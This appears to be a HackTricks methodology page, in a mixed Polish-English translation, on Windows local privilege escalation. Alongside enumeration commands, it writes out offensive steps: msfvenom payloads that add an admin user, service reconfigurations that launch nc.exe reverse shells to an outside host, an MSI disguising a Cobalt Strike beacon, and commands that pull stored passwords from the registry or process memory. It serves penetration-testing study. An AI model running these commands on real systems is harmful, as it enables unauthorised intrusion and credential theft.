Windows Local Privilege Escalation
{{#include ../../banners/hacktricks-training.md}}
Best tool to look for Windows local privilege escalation vectors: WinPEAS
Initial Windows Theory
Access Tokens
Jeśli nie wiesz, czym są Windows Access Tokens, przeczytaj następującą stronę przed kontynuowaniem:
{{#ref}} access-tokens.md {{#endref}}
ACLs - DACLs/SACLs/ACEs
Sprawdź następującą stronę, aby uzyskać więcej informacji o ACLs - DACLs/SACLs/ACEs:
{{#ref}} acls-dacls-sacls-aces.md {{#endref}}
Integrity Levels
Jeśli nie wiesz, czym są integrity levels w Windows, powinieneś przeczytać następującą stronę przed kontynuowaniem:
{{#ref}} integrity-levels.md {{#endref}}
Windows Security Controls
W Windows istnieją różne rzeczy, które mogą prevent you from enumerating the system, uniemożliwiać uruchamianie plików wykonywalnych lub nawet detect your activities. Powinieneś read następującą page i enumerate wszystkie te defenses mechanisms przed rozpoczęciem privilege escalation enumeration:
{{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}}
System Info
Version info enumeration
Sprawdź, czy wersja Windows ma jakąś znaną podatność (sprawdź też zainstalowane łaty).
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Eksploity wersji
Ta strona jest przydatna do wyszukiwania szczegółowych informacji o lukach bezpieczeństwa Microsoft. Ta baza danych zawiera ponad 4,700 luk bezpieczeństwa, co pokazuje ogromną powierzchnię ataku, jaką prezentuje środowisko Windows.
Na systemie
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeas has watson embedded)
Lokalnie z informacjami systemowymi
Repozytoria Github z exploitami:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
Środowisko
Czy jakieś credential/Juicy info są zapisane w zmiennych środowiskowych?
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
Historia PowerShell
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
PowerShell pliki transkrypcji
Możesz dowiedzieć się, jak to włączyć, pod adresem https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell Module Logging
Szczegóły wykonywania pipeline'ów PowerShell są rejestrowane, obejmując wykonywane polecenia, wywołania poleceń i fragmenty skryptów. Jednak pełne szczegóły wykonania i wyniki wyjścia mogą nie zostać uchwycone.
Aby to włączyć, postępuj zgodnie z instrukcjami w sekcji "Transcript files" dokumentacji, wybierając "Module Logging" zamiast "Powershell Transcription".
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
Aby wyświetlić ostatnie 15 zdarzeń z logów PowersShell, możesz wykonać:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell Script Block Logging
Rejestrowany jest kompletny zapis aktywności oraz pełna zawartość wykonania skryptu, co gwarantuje dokumentację każdego bloku kodu w trakcie jego uruchamiania. Proces ten zachowuje kompleksowy ślad audytu każdej czynności, cenny dla forensics i analizy złośliwego zachowania. Dokumentując całą aktywność w chwili wykonania, zapewnia się szczegółowy wgląd w przebieg procesu.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Zdarzenia logów dotyczące Script Block można znaleźć w Windows Event Viewer pod ścieżką: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Aby wyświetlić ostatnie 20 zdarzeń możesz użyć:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
Ustawienia Internetu
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
Dyski
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
Możesz przejąć system, jeśli aktualizacje nie są żądane przy użyciu httpS lecz http.
Zaczynasz od sprawdzenia, czy sieć używa aktualizacji WSUS bez SSL, uruchamiając poniższe w cmd:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
Albo następujące w PowerShell:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
Jeśli otrzymasz odpowiedź taką jak jedna z poniższych:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
A jeśli HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer lub Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" ma wartość 1.
Then, it is exploitable. Jeśli ostatni wpis rejestru ma wartość 0, wpis WSUS zostanie zignorowany.
In orther to exploit this vulnerabilities you can use tools like: Wsuxploit, pyWSUS - These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic.
Read the research here:
{{#file}} CTX_WSUSpect_White_Paper (1).pdf {{#endfile}}
WSUS CVE-2020-1013
Read the complete report here.
W skrócie, to jest wada, którą ten błąd wykorzystuje:
Jeśli mamy możliwość modyfikacji lokalnego proxy użytkownika, a Windows Updates używa proxy skonfigurowanego w ustawieniach Internet Explorera, mamy zatem możliwość uruchomienia PyWSUS lokalnie, aby przechwycić własny ruch i uruchomić kod jako podwyższonego użytkownika na naszym zasobie.
Co więcej, ponieważ usługa WSUS używa ustawień bieżącego użytkownika, użyje również jego magazynu certyfikatów. Jeśli wygenerujemy samopodpisany certyfikat dla nazwy hosta WSUS i dodamy ten certyfikat do magazynu certyfikatów bieżącego użytkownika, będziemy w stanie przechwycić zarówno ruch HTTP, jak i HTTPS WSUS. WSUS nie stosuje mechanizmów podobnych do HSTS w celu wdrożenia walidacji typu trust-on-first-use dla certyfikatu. Jeśli przedstawiony certyfikat jest zaufany przez użytkownika i ma poprawną nazwę hosta, zostanie zaakceptowany przez usługę.
You can exploit this vulnerability using the tool WSUSpicious (once it's liberated).
KrbRelayUp
A local privilege escalation vulnerability exists in Windows domain environments under specific conditions. These conditions include environments where LDAP signing is not enforced, users possess self-rights allowing them to configure Resource-Based Constrained Delegation (RBCD), and the capability for users to create computers within the domain. It is important to note that these requirements are met using default settings.
Znajdź exploit w https://github.com/Dec0ne/KrbRelayUp
Aby uzyskać więcej informacji o przebiegu ataku, zobacz https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
AlwaysInstallElevated
If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit payloads
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
Jeśli masz sesję meterpreter, możesz zautomatyzować tę technikę za pomocą modułu exploit/windows/local/always_install_elevated
PowerUP
Użyj polecenia Write-UserAddMSI z power-up, aby w bieżącym katalogu utworzyć binarny Windows MSI do eskalacji uprawnień. Ten skrypt zapisuje prekompilowany instalator MSI, który wyświetla monit o dodanie użytkownika/grupy (więc będziesz potrzebować dostępu GIU):
Write-UserAddMSI
Po prostu uruchom utworzony plik binarny, aby eskalować uprawnienia.
MSI Wrapper
Przeczytaj ten tutorial, aby dowiedzieć się, jak utworzyć MSI wrapper przy użyciu tych narzędzi. Zwróć uwagę, że możesz opakować plik .bat, jeśli tylko chcesz wykonać polecenia
{{#ref}} msi-wrapper.md {{#endref}}
Utwórz MSI za pomocą WIX
{{#ref}} create-msi-with-wix.md {{#endref}}
Utwórz MSI za pomocą Visual Studio
- Wygeneruj za pomocą Cobalt Strike lub Metasploit nowy Windows EXE TCP payload w
C:\privesc\beacon.exe - Otwórz Visual Studio, wybierz Create a new project i wpisz "installer" w polu wyszukiwania. Wybierz projekt Setup Wizard i kliknij Next.
- Nadaj projektowi nazwę, np. AlwaysPrivesc, użyj
C:\privescjako lokalizacji, zaznacz place solution and project in the same directory, i kliknij Create. - Klikaj Next aż dojdziesz do kroku 3 z 4 (choose files to include). Kliknij Add i wybierz Beacon payload, który właśnie wygenerowałeś. Następnie kliknij Finish.
- Zaznacz projekt AlwaysPrivesc w Solution Explorer i w Properties zmień TargetPlatform z x86 na x64.
- Są inne właściwości, które możesz zmienić, takie jak Author i Manufacturer, co może sprawić, że zainstalowana aplikacja będzie wyglądać bardziej wiarygodnie.
- Kliknij prawym przyciskiem projekt i wybierz View > Custom Actions.
- Kliknij prawym przyciskiem Install i wybierz Add Custom Action.
- Dwukrotnie kliknij Application Folder, wybierz plik beacon.exe i kliknij OK. Spowoduje to, że beacon payload zostanie uruchomiony zaraz po uruchomieniu instalatora.
- W Custom Action Properties zmień Run64Bit na True.
- Na koniec zbuduj to.
- Jeśli pojawi się ostrzeżenie
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86', upewnij się, że ustawiłeś platformę na x64.
Instalacja MSI
Aby wykonać instalację złośliwego .msi w tle:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
Aby wykorzystać tę podatność możesz użyć: exploit/windows/local/always_install_elevated
Antywirusy i detektory
Ustawienia audytu
Te ustawienia decydują o tym, co jest rejestrowane, więc należy zwrócić uwagę
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding, warto wiedzieć, dokąd wysyłane są logi
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPS jest zaprojektowany do zarządzania hasłami lokalnego Administratora, zapewniając, że każde hasło jest unikatowe, losowe i regularnie aktualizowane na komputerach dołączonych do domeny. Hasła te są bezpiecznie przechowywane w Active Directory i mogą być dostępne tylko dla użytkowników, którym przyznano odpowiednie uprawnienia poprzez ACLs, co pozwala im przeglądać hasła lokalnego administratora, jeśli są upoważnieni.
{{#ref}} ../active-directory-methodology/laps.md {{#endref}}
WDigest
Jeśli jest aktywny, hasła w postaci tekstu jawnego są przechowywane w LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA Protection
Począwszy od Windows 8.1, Microsoft wprowadził wzmocnioną ochronę Local Security Authority (LSA), aby zablokować próby niezaufanych procesów odczytywania jej pamięci lub wstrzykiwania kodu, co dodatkowo zabezpiecza system.
More info about LSA Protection here.
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard został wprowadzony w Windows 10. Jego celem jest zabezpieczenie poświadczeń przechowywanych na urządzeniu przed zagrożeniami takimi jak pass-the-hash attacks.| More info about Credentials Guard here.
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
Cached Credentials
Domain credentials są uwierzytelniane przez Local Security Authority (LSA) i wykorzystywane przez komponenty systemu operacyjnego. Gdy dane logowania użytkownika zostaną uwierzytelnione przez zarejestrowany security package, dla użytkownika zazwyczaj ustalane są domain credentials.
More info about Cached Credentials here.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
Użytkownicy & Grupy
Wylicz użytkowników & grupy
Należy sprawdzić, czy któraś z grup, do których należysz, ma interesujące uprawnienia.
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Grupy uprzywilejowane
Jeśli należysz do jakiejś uprzywilejowanej grupy, możesz być w stanie eskalować uprawnienia. Dowiedz się o grupach uprzywilejowanych i jak je nadużywać, aby eskalować uprawnienia tutaj:
{{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}}
Manipulacja tokenami
Dowiedz się więcej o tym, czym jest token na tej stronie: Windows Tokens.
Sprawdź następującą stronę, aby dowiedzieć się o interesujących tokenach i jak je nadużywać:
{{#ref}} privilege-escalation-abusing-tokens.md {{#endref}}
Zalogowani użytkownicy / Sesje
qwinsta
klist sessions
Katalogi domowe
dir C:\Users
Get-ChildItem C:\Users
Polityka haseł
net accounts
Pobierz zawartość schowka
powershell -command "Get-Clipboard"
Uruchomione procesy
Uprawnienia plików i folderów
Przede wszystkim, wypisując procesy, sprawdź, czy w linii poleceń procesu nie ma haseł.
Sprawdź, czy możesz nadpisać któryś z uruchomionych binariów lub czy masz uprawnienia do zapisu w katalogu z binariami, aby wykorzystać możliwe DLL Hijacking attacks:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Zawsze sprawdzaj, czy działają electron/cef/chromium debuggers, możesz je wykorzystać do eskalacji uprawnień.
Sprawdzanie uprawnień plików binarnych procesów
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
Sprawdzanie uprawnień folderów zawierających pliki binarne procesów (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
Memory Password mining
Możesz utworzyć zrzut pamięci uruchomionego procesu używając procdump z sysinternals. Usługi takie jak FTP mogą mieć credentials w postaci jawnej w pamięci, spróbuj zrzucić pamięć i odczytać te credentials.
procdump.exe -accepteula -ma <proc_name_tasklist>
Niebezpieczne aplikacje GUI
Aplikacje uruchomione jako SYSTEM mogą pozwolić użytkownikowi na uruchomienie CMD lub przeglądanie katalogów.
Przykład: "Windows Help and Support" (Windows + F1), wyszukaj "command prompt", kliknij "Click to open Command Prompt"
Usługi
Wyświetl listę usług:
net start
wmic service list brief
sc query
Get-Service
Uprawnienia
Możesz użyć sc, aby uzyskać informacje o usłudze
sc qc <service_name>
Zaleca się posiadanie binarki accesschk z Sysinternals, aby sprawdzić wymagany poziom uprawnień dla każdej usługi.
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
Zaleca się sprawdzić, czy "Authenticated Users" mogą modyfikować jakąkolwiek usługę:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
You can download accesschk.exe for XP for here
Włącz usługę
Jeśli występuje ten błąd (na przykład dla SSDPSRV):
System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
Możesz ją włączyć używając
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
Weź pod uwagę, że usługa upnphost zależy od SSDPSRV, aby działać (dla XP SP1)
Innym obejściem tego problemu jest uruchomienie:
sc.exe config usosvc start= auto
Modyfikacja ścieżki binarnej usługi
W scenariuszu, w którym grupa "Authenticated users" posiada na usłudze uprawnienia SERVICE_ALL_ACCESS, możliwa jest modyfikacja pliku wykonywalnego usługi. Aby zmodyfikować i uruchomić sc:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
Uruchom ponownie usługę
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
Eskalację uprawnień można osiągnąć poprzez następujące uprawnienia:
- SERVICE_CHANGE_CONFIG: Pozwala na ponowną konfigurację binarki usługi.
- WRITE_DAC: Umożliwia rekonfigurację uprawnień, co prowadzi do możliwości zmiany konfiguracji usługi.
- WRITE_OWNER: Pozwala na przejęcie własności i rekonfigurację uprawnień.
- GENERIC_WRITE: Dziedziczy możliwość zmiany konfiguracji usługi.
- GENERIC_ALL: Również dziedziczy możliwość zmiany konfiguracji usługi.
Do wykrywania i wykorzystania tej podatności można użyć exploit/windows/local/service_permissions.
Słabe uprawnienia binarek usług
Sprawdź, czy możesz zmodyfikować binarkę uruchamianą przez usługę lub czy masz uprawnienia do zapisu w folderze, w którym znajduje się binarka (DLL Hijacking).
Możesz uzyskać każdą binarkę uruchamianą przez usługę używając wmic (not in system32) i sprawdzić swoje uprawnienia używając icacls:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
Możesz również użyć sc i icacls:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
Uprawnienia do modyfikacji rejestru usług
Należy sprawdzić, czy można modyfikować dowolny rejestr usług.
Możesz sprawdzić swoje uprawnienia w odniesieniu do rejestru usług, wykonując:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Należy sprawdzić, czy Authenticated Users lub NT AUTHORITY\INTERACTIVE posiadają uprawnienia FullControl. Jeśli tak, plik wykonywalny uruchamiany przez usługę może zostać zmieniony.
Aby zmienić Path pliku wykonywalnego:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
Uprawnienia AppendData/AddSubdirectory w rejestrze usług
Jeśli masz to uprawnienie do danego rejestru oznacza to, że możesz tworzyć podrejestry z tego rejestru. W przypadku usług Windows jest to wystarczające do uruchomienia dowolnego kodu:
{{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}}
Ścieżki usług bez cudzysłowów
Jeśli ścieżka do pliku wykonywalnego nie jest ujęta w cudzysłowy, Windows spróbuje uruchomić każdy fragment kończący się przed spacją.
For example, for the path C:\Program Files\Some Folder\Service.exe Windows will try to execute:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
Wypisz wszystkie nieotoczone cudzysłowami ścieżki usług, z wyłączeniem tych należących do wbudowanych usług Windows:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
Możesz wykryć i wykorzystać tę podatność za pomocą metasploit: exploit/windows/local/trusted\_service\_path Możesz ręcznie utworzyć plik binarny usługi za pomocą metasploit:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
Akcje odzyskiwania
Windows pozwala użytkownikom określić akcje, które mają zostać wykonane w przypadku awarii usługi. Funkcję tę można skonfigurować tak, aby wskazywała na plik wykonywalny. Jeśli ten plik wykonywalny można zastąpić, możliwe może być privilege escalation. Więcej szczegółów można znaleźć w oficjalnej dokumentacji.
Aplikacje
Zainstalowane aplikacje
Sprawdź uprawnienia plików wykonywalnych (może uda ci się nadpisać któryś i escalate privileges) oraz folderów (DLL Hijacking).
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
Uprawnienia do zapisu
Sprawdź, czy możesz zmodyfikować plik konfiguracyjny, aby odczytać specjalny plik, lub czy możesz zmodyfikować binarny plik wykonywalny, który zostanie uruchomiony przez konto Administratora (schedtasks).
Jednym ze sposobów znalezienia słabych uprawnień folderów/plików w systemie jest wykonanie:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
Uruchamianie przy starcie
Sprawdź, czy możesz nadpisać jakiś wpis w rejestrze lub binarkę, która zostanie uruchomiona przez innego użytkownika.
Przeczytaj następującą stronę aby dowiedzieć się więcej o interesujących lokalizacjach autoruns umożliwiających eskalację uprawnień:
{{#ref}} privilege-escalation-with-autorun-binaries.md {{#endref}}
Sterowniki
Szukaj możliwych nietypowych/podatnych sterowników firm trzecich
driverquery
driverquery.exe /fo table
driverquery /SI
Jeśli driver udostępnia arbitrary kernel read/write primitive (częste w słabo zaprojektowanych IOCTL handlers), możesz escalate, kradnąc SYSTEM token bezpośrednio z kernel memory. Zobacz technikę krok po kroku tutaj:
{{#ref}} arbitrary-kernel-rw-token-theft.md {{#endref}}
PATH DLL Hijacking
Jeśli masz write permissions inside a folder present on PATH możesz być w stanie przejąć DLL ładowaną przez proces i escalate privileges.
Sprawdź uprawnienia wszystkich folderów znajdujących się w PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
Aby uzyskać więcej informacji o tym, jak wykorzystać to sprawdzenie:
{{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md {{#endref}}
Sieć
Udostępnienia
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
Sprawdź, czy w hosts file nie ma na stałe wpisanych innych znanych komputerów
type C:\Windows\System32\drivers\etc\hosts
Interfejsy sieciowe i DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Otwarte porty
Sprawdź, czy z zewnątrz dostępne są usługi z ograniczonym dostępem
netstat -ano #Opened ports?
Tablica routingu
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
Tablica ARP
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
Firewall Rules
Check this page for Firewall related commands (lista reguł, tworzenie reguł, wyłączanie, wyłączanie...)
Więcej commands for network enumeration here
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
Plik binarny bash.exe można też znaleźć w C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
Jeśli uzyskasz uprawnienia roota, możesz nasłuchiwać na dowolnym porcie (przy pierwszym użyciu nc.exe do nasłuchiwania na porcie pojawi się w GUI pytanie, czy nc powinno zostać dozwolone przez zaporę).
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Aby łatwo uruchomić bash jako root, możesz spróbować --default-user root
Możesz przeglądać system plików WSL w folderze C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
Windows Credentials
Winlogon Credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
Menedżer poświadczeń / Windows Vault
From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault przechowuje poświadczenia użytkowników dla serwerów, stron internetowych i innych programów, które Windows może automatycznie logować użytkowników. Na pierwszy rzut oka może się wydawać, że użytkownicy mogą przechowywać tam poświadczenia do Facebook, Twitter, Gmail itp., aby przeglądarki logowały się automatycznie. Jednak tak nie jest.
